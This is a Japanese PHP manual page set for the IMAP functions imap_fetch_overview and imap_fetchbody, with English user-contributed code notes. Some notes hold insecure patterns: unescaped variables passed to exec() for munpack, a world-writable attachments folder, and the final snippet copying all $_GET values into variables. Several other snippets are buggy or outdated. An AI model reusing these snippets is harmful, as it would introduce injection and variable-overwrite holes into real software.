例1 imap_fetch_overview() の例

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password")
     or die("接続できません: " . imap_last_error());

$MC = imap_check($mbox);

// INBOX のすべてのメッセージの概要を取得します
$result = imap_fetch_overview($mbox,"1:{$MC->Nmsgs}",0);
foreach ($result as $overview) {
    echo "#{$overview->msgno} ({$overview->date}) - From: {$overview->from}
    {$overview->subject}\n";
}
imap_close($mbox);
?>

参考

  • imap_fetchheader() - メッセージのヘッダを返す

User Contributed Notes

damien at dipisoft dot com 17-Jan-2021 12:06
This is not documented but I just found out that with the FT_UID flag you can use "-1" in sequence as the last identifier. Example:

<?php
    [...]
    $result = imap_fetch_overview($mbox, "$first_uid:-1", FT_UID);
    [...]
?>
vijayakumard01 at gmail dot com 15-Feb-2017 12:30
While using fetch overview it displays only single mail. i need to display mail with replied and forward and all. how its possible?
undernetangel at gmail dot com 25-Jan-2017 10:12
There is a typo in the manual. The correct return value for arrival time is:  udate not update.
Ap.Muthu 06-Oct-2015 11:31
The use of the $range parameter is explained in the example at: http://www.phpdig.net/ref/rn31re596.html

<?php
$imap = imap_open("{localhost}INBOX","graeme","inferno");

// fetch message information for message 2
// and messages 4 to 6
$info = imap_fetch_overview($imap, "2,4:6");

?>

<table border=1>
<tr><th>Read</th><th>From</th><th>Date</th><th>Subject</th></tr>

<?php
// loop through the array
foreach ($info as $msg) {
   echo "<tr>";

   // display the seen property nicely
   if ($msg->seen == 1) {
      $read = "Yes";
   } else {
      $read = "No";
   }

   // print other message information
   printf("<td>%s</td>", $read);
   printf("<td>%s</td>", $msg->from);
   printf("<td>%s</td>", $msg->date);
   printf("<td>%s</td>", $msg->subject);
}

imap_close($imap);
?>
Nitrogen 20-Feb-2015 01:18
Judging from the comments here, it appears like people are forgetting the basics to already-available PHP sorting functions. Use usort(); and the tiniest custom function ever to compare them all.

Change the arguments to imap_fetch_overview to your own, obviously.

<?php
$result = imap_fetch_overview($imap_stream, '1:10', 0);

usort($result, function($a, $b) {
  return($b->udate-$a->udate);
});
?>

This usort function will look at each overview and order them in the exact latest to oldest message order as determined by the "udate" value for each message. This works. I'm using it. They're sorted in the exact order they appear in my actual inbox. Why obfuscate it any more?
jeff at newscloud dot com 13-Jan-2014 03:25
The Remote class here (https://github.com/newscloud/mail_filter/blob/master/app/protected/models/Remote.php) has a lot of examples of processing mailbox folders with imap-fetch-overview:

        $this->open($account_id,$this->path_inbox);
         $recent_messages = @imap_search($this->stream, 'SINCE "'.date("j F Y",$tstamp).'"',SE_UID); // 30 November 2013
         if ($recent_messages===false) continue; // to do - continue into next account
         $result = imap_fetch_overview($this->stream, implode(',',array_slice($recent_messages,0,$message_limit)),FT_UID);
         foreach ($result as $item) {
           $msg = $this->parseHeader($item);
rueda dot raul at gmail dot com 18-Dec-2013 04:52
English:
I've found that for some messages, this function and also function imap_headerinfo(), can't decode the message_id information and returns an ID like "<xxxxxxxxx@unknownmsgid>"

In these cases, I use the following to get the correct messageid:

$header=imap_rfc822_parse_headers(imap_fetchheader($mbox,$msgno))

Spanish:
Con algunos mensajes, esta funcion, al igual que la funcion imap_headerinfo(), no pueden decodificar correctamente la informacion del ID de mensaje y devuelven un ID como este "<xxxxxxxxx@unknownmsgid>"

En esos casos, uso lo siguiente para obtener el ID de mensaje correcto:

$header=imap_rfc822_parse_headers(imap_fetchheader($mbox,$msgno))
info at djdb dot be 23-Oct-2012 07:25
If you lost a mail use this
<?php
    public function READallUnreadmail(){
        if ($headers = imap_check($this->msgbox)){
            $lastnr = $headers->Nmsgs;
            if ($mails=imap_fetch_overview($this->msgbox,"1:".$lastnr,0)){
                while (list($key, $val) = each($mails)) {
                   if (++$key>=0&&$header= imap_header($this->msgbox, $key)){
                        if($header->Unseen=='U'||$header->Recent=='R'){
                            echo "<br>".$val->msgno." - ".$val->date." - ".$val->subject."\n<br>";
                            print "IREAD".$header->Msgno;
                            //$this->getattachmentof($header->Msgno);
                        }
                    }
                }
            }
        }
    }
?>
thinice at gmail dot com 06-Apr-2011 05:31
Hopefully someone will find this a jumpstarter for a sortable, paginated list:

<?php
public function listMessages($nStart=0, $nCnt=10) {

    if (!$this->loaded) {
        return NULL;
    }

    if (($nStart+$nCnt) > $this->getNum()) {
        $nCnt = $this->getNum()-$nStart;
    }

    $aMsgs = imap_fetch_overview($this->rCon, ($nStart+1).':'.($nStart+$nCnt));
    $aRet = array();
    if ($aMsgs) {
        foreach ($aMsgs as $msg) {
            $aRet[$msg->udate] = $msg;
        }
    }

    krsort($aRet);

    var_dump($aRet);
}
?>
will 20-Jun-2009 09:43
This seems to retrieve incomplete values for headers, instead of getting the entire value, it gets the first. for example, this is a valid To: header

To: foo1@example.com,foo2@example.com
     foo3@example.com

but imap_fetch_overview will only return:
foo1@example.com
dognose 16-Jan-2009 09:15
That's right:

calling imap_fetch_overview() once is faster, than calling it
in a loop.

But if you want to get a "day sorted" list, you need to call it in a loop, cause if you enter a "string" of UIDs, they are always sorted by UID, not by the order you entered it.

Heres a little example how to get a date-sorted list:

<?php
/*Sort all msgs by Arrival Date. Newest = 0, oldest = Array Count*/
/*returns an array, containing the UIDs of messages*/
$SortedArray = imap_sort($Handle,SORTARRIVAL,1,SE_UID);

For ($i = $Start; $i< $Start + $Limit; $i++){
      /*Read UID from Sorted Array*/
      $UID = $SortedArray[$i];

      /*Get Detailed MSG Infos*/
      $Overview = imap_fetch_overview($Handle, $UID, FT_UID);

      [...]
}
?>
xhack at web dot de 20-Mar-2007 07:05
you want a sortet list of mails, but you get always the same order? your c-client seems to cause this. i realized this with linux libc6-2.3.6 and php-5.2.0

try this little code:

# here you try to sort by your criteria
$sort=@imap_sort($mbox,SORTDATE,1,SE_UID);

# here the order of the messages to fetch should be recognised, but it isn't

$tmp=@imap_fetch_overview($mbox,implode(',',$sort),FT_UID);
# so try to work around simply:
for($i=0;$i<count($tmp);$i++)
{ $liste[$i]=$tmp[array_search($tmp[$i]->uid,$sort)]; }

so now you can use the sort by date, address, and so on.
raja at aonic dot net 14-Mar-2007 11:22
Here is a function to get messages from IMAP and sort them for pagination.

<?php
    /**
     * Return array of IMAP messages for pagination
     *
     * @param   int     $page       page number to get
     * @param   int     $per_page   number of results per page
     * @param   array   $sort       array('subject', 'asc') etc
     *
     * @return  mixed   array containing imap_fetch_overview, pages, and total rows if successful, false if an error occurred
     * @author  Raja K
     */
    public function listMessages($page = 1, $per_page = 25, $sort = null) {
        $limit = ($per_page * $page);
        $start = ($limit - $per_page) + 1;
        $start = ($start < 1) ? 1 : $start;
        $limit = (($limit - $start) != ($per_page-1)) ? ($start + ($per_page-1)) : $limit;
        $info = imap_check($this->_imap_stream);
        $limit = ($info->Nmsgs < $limit) ? $info->Nmsgs : $limit;

        if(true === is_array($sort)) {
            $sorting = array(
                        'direction' => array(   'asc' => 0,
                                                'desc' => 1),

                        'by'        => array(   'date' => SORTDATE,
                                                'arrival' => SORTARRIVAL,
                                                'from' => SORTFROM,
                                                'subject' => SORTSUBJECT,
                                                'size' => SORTSIZE));
            $by = (true === is_int($by = $sorting['by'][$sort[0]]))
                            ? $by
                            : $sorting['by']['date'];
            $direction = (true === is_int($direction = $sorting['direction'][$sort[1]]))
                            ? $direction
                            : $sorting['direction']['desc'];

            $sorted = imap_sort($this->_imap_stream, $by, $direction);

            $msgs = array_chunk($sorted, $per_page);
            $msgs = $msgs[$page-1];
        }
        else
            $msgs = range($start, $limit); //just to keep it consistent

        $result = imap_fetch_overview($this->_imap_stream, implode($msgs, ','), 0);
        if(false === is_array($result)) return false;

        //sorting!
        if(true === is_array($sorted)) {
            $tmp_result = array();
            foreach($result as $r)
                $tmp_result[$r->msgno] = $r;

            $result = array();
            foreach($msgs as $msgno) {
                $result[] = $tmp_result[$msgno];
            }
        }

        $return = array('res' => $result,
                        'start' => $start,
                        'limit' => $limit,
                        'sorting' => array('by' => $sort[0], 'direction' => $sort[1]),
                        'total' => imap_num_msg($this->_imap_stream));
        $return['pages'] = ceil($return['total'] / $per_page);
        return $return;
    }
?>
Group-Office Developer 09-Apr-2004 05:21
About the sequence sorting again.
I've found that there's a significant speed improvement by preparing the sequence and then fetch them at once with large mailboxes. On small mailboxes wyou will not notice a speed difference.

But then there's the sorting problem. I've spent all night fiuring out how to do this myself. I found the solution!

Prepare an array of messages with imap_sort. Create a second array that maps the message numbers to the actuall place in the fetched array.
You know it will be in numeric order so you can make an array map with the sort() function sorting it from high to low.
Then you can proces the array fetched with imap_fetch_overview with the array_map and you will have them sorted. If you need an example look in the Group-Office code classes/imap.class.inc in a version later then 2.04.
mails at slueoend dot ch 14-Dec-2003 04:15
Not that this function and all other imap_fetch*-functions will download the whole message and not just the header information.
se at designlinks dot net 02-Jul-2003 06:42
To further explain 'warrenfalk's comment, the following sequences are exactly the same, and always returns messages with lowest UID to highest UID:

1:5
5:1
1,2,3,4,5
5,4,3,2,1
3,2,5,1,4

(always returned as 1,2,3,4,5)
suurenbroekNoSpam at ov35 dot NoSpam dot nl 14-Oct-2002 04:34
Note that these object-variables only exist when they are actually in the mail.

This means that if a mail has no subject, the property $val->subject will not exist.

Calling $val->subject will generate an notice:
Notice: Undefined property: subject in /home/html/inc/Mbox.php on line xxx

Use this to check it:
if (array_key_exists( "subject", get_object_vars($val)))
   $subj=$val->subject;
else
   $subj="";
trionon at mail dot ru 25-Feb-2002 10:13
This performance hint is useful if you need to print the result of imap_sort():

It's faster to prepare large string with UIDs and then to call imap_fetchoverview once than calling imap_fetchoverview in a loop.
steve at stevenchalker dot net 09-Nov-2001 08:26
I think if you go like a list, you can list your "hotmail" messages.
<?php
$mbox=imap_open("{imap.server.com}","user","pass");
$MC=imap_check($mbox);
$MN=$MC->Nmsgs;
$overview=imap_fetch_overview($mbox,"1:$MN",0);
$size=sizeof($overview);
for($i=$size-1;$i>=0;$i--){
$val=$overview[$i];
$msg=$val->msgno;
$from=$val->from;
$date=$val->date;
$subj=$val->subject;
echo "#$msg: From:'$from' Date:'$date' Subject:'$subj'<BR>";
imap_close($mbox);
?>


メッセージ本文中の特定のセクションを取り出す

  • ≪ imap_fetch_overview
  • imap_fetchheader ≫
  • PHP Manual
  • IMAP 関数
  • メッセージ本文中の特定のセクションを取り出す

imap_fetchbody

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchbody — メッセージ本文中の特定のセクションを取り出す

説明

imap_fetchbody ( resource $imap , int $message_num , string $section , int $flags = 0 ) : string|false

指定されたメッセージ本文中の特定のセクションを取得します。 本文パートは、この関数ではデコードされません。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

section

パート番号。ピリオドで区切られた整数文字列を指定します。 これは、IMAP4 仕様における本文パートのリストへのインデックスとなります。

flags

ビットマスクであり、以下の組合わせとなります。

  • FT_UID - message_numは UID である
  • FT_PEEK - 既に設定されていない場合、 \Seen フラグを設定しない
  • FT_INTERNAL - 内部フォーマットで文字列を返す。CRLF に正規化しない。

返り値

指定されたメッセージ本文中の特定のセクションをテキスト文字列で返します。 失敗した場合に false を返します

参考

  • imap_savebody() - 指定した本文部をファイルに保存する
  • imap_fetchstructure() - 特定のメッセージの構造を読み込む

User Contributed Notes

jab_creations at yahoo dot com 28-Oct-2020 03:08
The third parameter, the section parameter is not properly documented and I've seen a dozen or two developers in my research to figure this issue out come to hopeless conclusions. It's critical to understand that various email providers (e.g. AOL, Gmail, Microsoft, Yahoo and client programs like Thunderbird and...yes, the five thousand versions of Outlook) do NOT follow some "standard".

 - Unlike JavaScript and how PHP normally function all index numbers start at 1, NOT 0.
 - Your third/section parameter will be a whole number if there is not a second 'parts' array (I am NOT using classes here).
 - If the 'parts' array contains a 'parts' subarray you will have floating-point numbers (e.g. 1.1 or 2.1 instead of 1 or 2). If you have two parts in the 'parts' subarray you will have something such as 1.1 and 1.2 or 2.1 and 2.2 - REMEMBER: these vary by provider and there is no "STANDARD" as this is a PHP-specific issue!
 - None, some or all 'parts' arrays may be singular or contain child 'parts' subarrays, this is completely dynamic and may NOT be consistent from even the same provider!

The following presumes you have a $mail_connection and know which $email_number number you're working with:

<?php
     $i = 0;//Level 1 part references.
     $j = 0;//Level 2 part references.
     $mail_message_structure = json_decode(json_encode(imap_fetchstructure($mail_connection, $email_number)), true);//Convert AWAY from class style.

     while ($i < count($mail_message_structure['parts']))
     {
      if (isset($mail_message_structure['parts'][$i]['parts']))
      {//Multiple, contains secondary 'parts' array.
       while ($j < count($mail_message_structure['parts'][$i]['parts']))
       {
        //Remove subjectivity of "Png/PNG/png" with always lower-case.
        $mail_message_structure['parts'][$i]['parts'][$j]['subtype'] = strtolower($mail_message_structure['parts'][$i]['parts'][$j]['subtype']);
        $mail_message_structure['parts'][$i]['parts'][$j]['id_imap_fetchbody'] = ($i + 1).'.'.($j + 1);
        echo '<p>'.$i.': multi, '.$j.' '.$mail_message_structure['parts'][$i]['parts'][$j]['subtype'].': '.($i + 1).'.'.($j + 1).'</p>';
        $j++;
       }
      }
      else
      {//Single, first level.
       //Remove subjectivity of "Png/PNG/png" with always lower-case.
       $mail_message_structure['parts'][$i]['subtype'] = strtolower($mail_message_structure['parts'][$i]['subtype']);
       $mail_message_structure['parts'][$i]['id_imap_fetchbody'] = ($i + 1);
       echo '<p>'.$i.': single: '.$mail_message_structure['parts'][$i]['subtype'].': '.($i + 1).'</p>';
      }
      $i++;
     }
?>

Now that we can actually understand HOW to access specific PARTS of the email body it is a simple manner to iterate over the structure array:

<?php
     foreach ($mail_message_structure['parts'] as $k4 => $v4)
     {
      if (isset($v4['parts']))
      {
       foreach ($v4['parts'] as $k5 => $v5) {mail_imap_body($mail_connection, $email_number, $v5);}//echo '<div>MULTI: '.$v5['id_imap_fetchbody'].'; <pre>'.htmlspecialchars(print_r($v4['parts'],1)).'</pre></div>';
      }
      else {mail_imap_body($mail_connection, $email_number, $v4);}//echo '<div>SINGLE: '.$v4['id_imap_fetchbody'].'<pre>'.htmlspecialchars(print_r($v4,1)).'</pre></div>';
     }
?>
mike at lathyrus dot net 01-Jan-2015 04:37
I spent hours religously thinking that

imap_fetchbody($mbox,$email_number,1.2)

would fetch the html body, and in many cases this did not work.  It turns out that simple message can have a simple [parts] stucture so this became true:

imap_fetchbody($mbox,$email_number,1) - PLAIN
imap_fetchbody($inbox,$email_number,2) - HTML

Check for empty string before using the latter.
tabaccoandcoffee at gmail dot com 05-Sep-2014 08:01
Sorry for my English.
Rather than quoted_printable_decode, you can use the function imap_qprint ($body)
red dot ender at yahoo dot com 08-Jan-2013 01:29
I had some problems with the german umlauts from a gmail fetched text. I lost an hour trying to find a solution.

Hopefully this helps someone in need :)

<?php
$text = trim( utf8_encode( quoted_printable_decode(
                        imap_fetchbody( $this->inbox, $emailNo, $section ) ) ) );

$section was previously defined:
$section = empty( $attachments ) ? 1 : 1.1;
?>
gesti at gmx dot com 22-Jun-2012 11:10
How to give more then one option in the "options" parameter:
It took me some time to realize how easy it is, so just in case some one else would be puzzled at this point:
<?php
imap_fetchbody($imap_stream, $msg_number, $section, FT_UID | FT_PEEK);
?>
caevan at amkd dot com dot au 01-Jun-2012 02:52
I tried using the function add_part_to_array below and noticed a few errors were thrown. If there are no 'parts' in the structure then if (sizeof($obj->parts) > 0) will throw an error. As well $prefix is not defined here is the code I have updated. I have left the original lines commented out. I have tested reading emails from a gmail account and so far so good.

<?php

// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);

   if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
//        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
    if(array_key_exists('parts',$obj){
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
//            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
            $part_array[] = array('part_number' => $partno.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
//        if (sizeof($obj->parts) > 0) {
                    if(array_key_exists('parts',$obj)){
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 03-Oct-2009 11:32
The previous post contains a copy/paste error and a little added complexity.  The first function should look like this:

<?php
function create_part_array($struct) {
    if (sizeof($struct->parts) > 0) {    // There some sub parts
        foreach ($struct->parts as $count => $part) {
            add_part_to_array($part, ($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => '1', 'part_object' => $struct);
    }
   return $part_array;
}
?>
atamido at gmail dot remove dot com 17-Feb-2009 10:54
imap-fetchbody() will decode attached email messages inline with the rest of the email parts, however the way it works when handling attached email messages is inconsistent with the main email message.

With an email message that only has a text body and does not have any mime attachments, imap-fetchbody() will return the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - Body text

With an email message that is a multi-part message in MIME format, and contains the message text in plain text and HTML, and has a file.ext attachment, imap-fetchbody() will return something like the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - file.ext

Now if you attach the above email to an email with the message text in plain text and HTML, imap_fetchbody() will use this type of part number system:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - MESSAGE/RFC822 (entire attached message)
2.0 - Attached message header
2.1 - TEXT/PLAIN
2.2 - TEXT/HTML
2.3 - file.ext

Note that the file.ext is on the same level now as the plain text and HTML, and that there is no way to access the MULTIPART/ALTERNATIVE in the attached message.

Here is a modified version of some of the code from previous posts that will build an easily accessible array that includes accessible attached message parts and the message body if there aren't multipart mimes.  The $structure variable is the output of the imap_fetchstructure() function.  The returned $part_array has the field 'part_number' which contains the part number to be fed directly into the imap_fetchbody() function.

<?php
function create_part_array($structure, $prefix="") {
    //print_r($structure);
    if (sizeof($structure->parts) > 0) {    // There some sub parts
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => $prefix.'1', 'part_object' => $obj);
    }
   return $part_array;
}
// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
    if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
        //print_r($obj);
        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 02-Feb-2009 11:50
If you download an attachment labeled "winmail.dat" or "win.dat", or with the mime-type of "APPLICATION/MS-TNEF", this is a Microsoft Transport Neutral Encapsulation Format file.  It is a proprietary method for encoding several files together in a single file.  AFAIK only Outlook sends it with its default setting of sending emails in Rich Text Format.

As of PHP 5.2 there is no internal method of breaking apart these attachments.

There are external command line utilities that can be called from PHP.  Alternately, it is possible to decode these files entirely in PHP.  It appears that all current libraries are based on a plugin written by Graham Norbury for Squirrel Mail.  The only ones I've seen are in IlohaMail, Telean, Horde-Imp, and NaSMail.  The only one that I know that will also decode the RTF message is from NaSMail.

To use the NaSMail code, download the "TNEF Attachment Decoder" plugin and extract it to
plugins/attachment_tnef/

Then use this bit of code:
<?php
include_once('plugins/attachment_tnef/constants.php');
include_once('plugins/attachment_tnef/functions.php');
include_once('plugins/attachment_tnef/class/tnef.php');

// $tnef is a binary variable containing only the contents of winmail.dat
$attachment = &new TnefAttachment($tnef_debug);
$result = $attachment->decodeTnef($tnef);
$tnef_files = &$attachment->getFilesNested();
print_r($tnef_files); // See the format of the returned array
?>
fortega dot no spam plz at uamericas dot net 24-Apr-2008 01:37
To fetch the body of a "sub part" do the following thing:
<?php
$partno = "2.1"   // The first part of the second part

print_r(imap_fetchbody($mbox, $msgno, $partno));
// TODO: replace print_r for the proper function
?>

And remember... you can fetch the structure with
<?php
imap_fetchstructure($mbox, $msgno);
?>
then iterate the array of parts fetching the body.
anonymous lazy person 22-Mar-2008 08:51
Expanding on a comment below about using munpack to extract attachments, here's a lazy person's function that extracts attachments from mail with $msg_number from $mailbox and writes them to $dir. It returns an array of filenames or false if there are no attachments.

function writeAttachmentsToDisk($mailbox, $msg_number, $dir){

  if (!file_exists($dir)){
    mkdir($dir);
  }
  $filename = "tmp.eml";
  $email_file = $dir."/".$filename;
  // write the message body to disk
  imap_savebody  ($mailbox, $email_file, $msg_number);
  $command = "munpack -C $dir -fq $email_file";
  // invoke munpack which will
  // write all the attachments to $dir
  exec($command,$output);

  // if($output[0]!='Did not find anything to unpack from $filename') {
  $found_file = false;
  foreach ($output as $attach) {
    $pieces = explode(" ", $attach);
    $part = $pieces[0];
    if (file_exists($dir.$part)){
      $found_file = true;
      $files[] = $part;
    }
  }
  if (!$found_file){
    //echo ("\nMail.php : no files found - cleaning up. ");
    // didn't find any output files - delete the directory and email file
    unlink($email_file);
    rmdir($dir);
    return false;
  }
  else {
    // found some files-  just delete the email file
    unlink($email_file);
    return $files;
  }
}
tom at tomwardrop dot com 12-Mar-2008 11:08
If text has been encoded as quoted-printable (most body text is encoded as this), it must be decoded for it to be displayed correctly (without '=', '=20' and other strange text chunks all through the string).

To decode, you can use the following built-in php function...

quoted_printable_decode($string)

Hopefully I've just saved a few people from having to do a preg_replace on there email bodies.
bryn 11-Jan-2008 11:58
An alternative to munpack for rfc822 messages is ripmime http://www.pldaniels.com/ripmime/

It lets you pass it the rfc822 attachment (usually something.eml) and it recursively writes out attachments (and text and html files)
ted at qtis dot co dot nz 18-Aug-2007 01:02
Here's simple way of extending Makusnospam's little routine to flatten the entire message into an array which can be useful to quickly find the body and attachments just by walking through the array elements.

function create_part_array($structure, $prefix="") {
   $part_array = array();

    if (sizeof($structure->parts) > 0) {
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }

   return $part_array;
}

function add_part_to_array($obj, $partno, & $part_array) {

    if ($obj->type == TYPEMESSAGE) {
        parse_message($obj->parts[0], $partno.".");
    }
    else {
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }

    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
}
phpnetlover at yoz dot us 19-Apr-2007 10:15
Hi everyone

I have been inspecting the RFC's and the answer to what to display is not like Musawir Ali in 2 areas

1- You can not rely on disposition being present, not all mail software composes mail to standard, and if you would just take a quick look at the RFC's you will find out that someone can send you email where your solution will fail even though the mail is "within standards"

2- When you are presented with Alternative-multipart, assuming you will find one text-plain and one text-html, you should NOT be looking for HTML then TEXT, the last mentioned subtype is the most loyal to the original composition, you check if you can support the last, if not you simply go one step back and see the one before it, if your client supports it, you take that, and so on, this is how Alternative works, Just because HTML is best colored does not mean we should chose that, we are looking for the closest representation of the original and not for any in specific
anonymous at coward dot village 22-Feb-2007 11:08
A very easy way to handle attachments is just using munpack, with a subdirectory called attachments chmod it to 777 and then use the following bit of code (with mpack installed) on the MIME encoded body:

<?php
//email MIME body in $input
file_put_contents("attachments/body.eml",$input);
$command = "munpack -C attachments -fq body.eml";
exec($command,$output);
if($output[0]!='Did not find anything to unpack from body.eml') {
    foreach ($output as $attach) {
        $pieces = explode(" ", $attach);
        $part = $pieces[0];
        echo "<a href=\"attachments/$part\">$part</a><br>";
        }
    }
?>
web at i-ps dot net 05-Feb-2007 10:35
I had an issue with the content that was returned by imap_fetchbody - either the function itself, or the mail-server, was inserting "=\r\n" at points into the text body returned. This may depend upon the content type (i.e. plain text / csv, as opposed to something like a Word document), but you may need to do something like:

$body = preg_replace("/=(\r?)\n/", '', imap_fetchbody($mailbox, $message, $part));
jbr at ya-right dot com 14-Dec-2006 08:38
Musawir Ali comment is not totally correct, ifdisposition= 1 will never tell you 100% if there is an attachment. You must look at (ifdparameters, ifparameters) if (1) of them is greater then (0), then you need to look inside (parameters), looking at each ($obj->parameters) and check the (attribute) for (NAME, FILENAME), also be sure to set them to upper or lower case before doing your testing. That's the only way to know if you have an attachment. inline attachments will have $obj->ifid equal to 1, the $obj->id will contain the (cid). If $obj->ifid equals 0 then it's also an attachment (file type) if you have (NAME, FILENAME) as the current parameters (attribute).

<?php
        $name = '';

        if ( $parent->ifdparameters && sizeof ( $parent->dparameters ) > 0 )
        {
            foreach ( $parent->dparameters as $child )
            {
                if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                {
                    $name = strtolower ( $child->value );
                }
            }
        }

        if ( empty ( $name ) )
        {
            if ( $parent->ifparameters && sizeof ( $parent->parameters ) > 0 )
            {
                foreach ( $parent->parameters as $child )
                {
                    if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                    {
                        $name = strtolower ( $child->value );
                    }
                }
            }
        }
?>

$parent is derived from imap_fetchstructure(), as a child object if $obj->parts is set or as the $parent if $obj->parts is not set!
Musawir Ali 12-Jul-2006 10:04
For those of you trying to create a "flexible" email reader, I suggest doing the following.

Firstly, instead of going through each part of the email and decoding it, I suggest you go in a specific order.

1) First go through all the parts and search for the part that has subtype=='HTML'. If found, use that as your message body, else go to Step 2.
2) If HTML component not found, search all parts for subtype=='PLAIN'. If found, use that as your message body else print out an error message (this should never occur).
3) At this point, you already have the main body of the email that you should display. The next thing to do is to find all the attachments. You do this by going through all parts, searching for the parts with ifdisposition==1 (there can be multiple).

This is the way I did my email reader program and it works perfectly. I started off by using the methods recommended in a lot of webpages (i.e. going through the parts tree like 1.2.1, 1, 2, etc) but the problem is the message body is never in some fixed part! Sometimes its in 1, somtimes 1.1.2, sometimes 2, and sometimes in some totally unexpected place! So my approach was to "search" for the parts that I'm interested. Hope this helps. I also managed to crack the problem with emails containing embedded images. I will probably write a tutorial on that soon.
se at designlinks dot net 03-Mar-2005 03:36
If you insist on using imap_fetchbody() to retrieve a mail body that doesn't contain 'parts' [normally you'd use imap_body() ], then note that the header text is in part '0' and the body text in part '1'.
So, imap_fetchbody($mbox,$msg,'0') will return the header and imap_fetchbody($mbox,$msg,'1') will return the body text.
guru at php dot net 04-Oct-2004 08:50
After many battles with the imap extension I took it upon myself to write my own implementation using sockets. Below is what I came up with, and hopefully it will be usefull to others as well. I know that there are some parts of this that can be tweaked, however I will leave that for you to do. Use/abuse/mutilate this as you wish (no license).

(Note: I am not placing the source here since it is well over 1900 lines ~48KB)

http://www.nutextonline.com/cimap.phps

If enough people find this usefull I will continue to improve it and eventually commit it (or have it committed) to pear.

Also worth noting is the fact that you can use the imap extensions on mbox format mailboxes. A combination of this class with the imap extension would certainly make a great combination of done correctly.
Adam 27-Sep-2004 11:12
It took me a while to figure out how part id's(numbers) are assigned to different parts of a message.  After getting a few AOL e-mails that had a semi-complex structure I was finally able to break it down.

0 multipart/mixed
    1 multipart/alternative
        1.1 text/plain
        1.2 text/html
    2 message/rfc822
        2 multipart/mixed
            2.1 multipart/alternative
                2.1.1 text/plain
                2.1.2 text/html
            2.2 message/rfc822
                2.2 multipart/alternative
                    2.2.1 text/plain
                    2.2.2 text/html

Hopefully this will help others get the different body parts of a message.
sales at nocwizard dot com 05-Sep-2004 05:59
I'm adding this for those of you like me who are scouring the web looking for code to break down a message.  These two functions will break down a multi-part and non multi-part message and return the contents of the message in the array $message.  It doesn't do attachments.  This assumes you've already opened the mailbox and pass it VIA the $mbox.

function retrieve_message($mbox, $messageid)
{
   $message = array();

   $header = imap_header($mbox, $messageid);
   $structure = imap_fetchstructure($mbox, $messageid);

   $message['subject'] = $header->subject;
   $message['fromaddress'] =   $header->fromaddress;
   $message['toaddress'] =   $header->toaddress;
   $message['ccaddress'] =   $header->ccaddress;
   $message['date'] =   $header->date;

  if (check_type($structure))
  {
   $message['body'] = imap_fetchbody($mbox,$messageid,"1"); ## GET THE BODY OF MULTI-PART MESSAGE
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }
  else
  {
   $message['body'] = imap_body($mbox, $messageid);
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }

  return $message;
}

function check_type($structure) ## CHECK THE TYPE
{
  if($structure->type == 1)
    {
     return(true); ## YES THIS IS A MULTI-PART MESSAGE
    }
 else
    {
     return(false); ## NO THIS IS NOT A MULTI-PART MESSAGE
    }
}
noose (at) nospam (dot) tweak (dot) pl 20-Jun-2004 04:04
Sorry for my english....

for read the attachment's:

<?
 foreach ($_GET as $k => $v)
 {
     $$k = $v;
 }
 $login = 'mylogin';
 $password = 'mypassword';
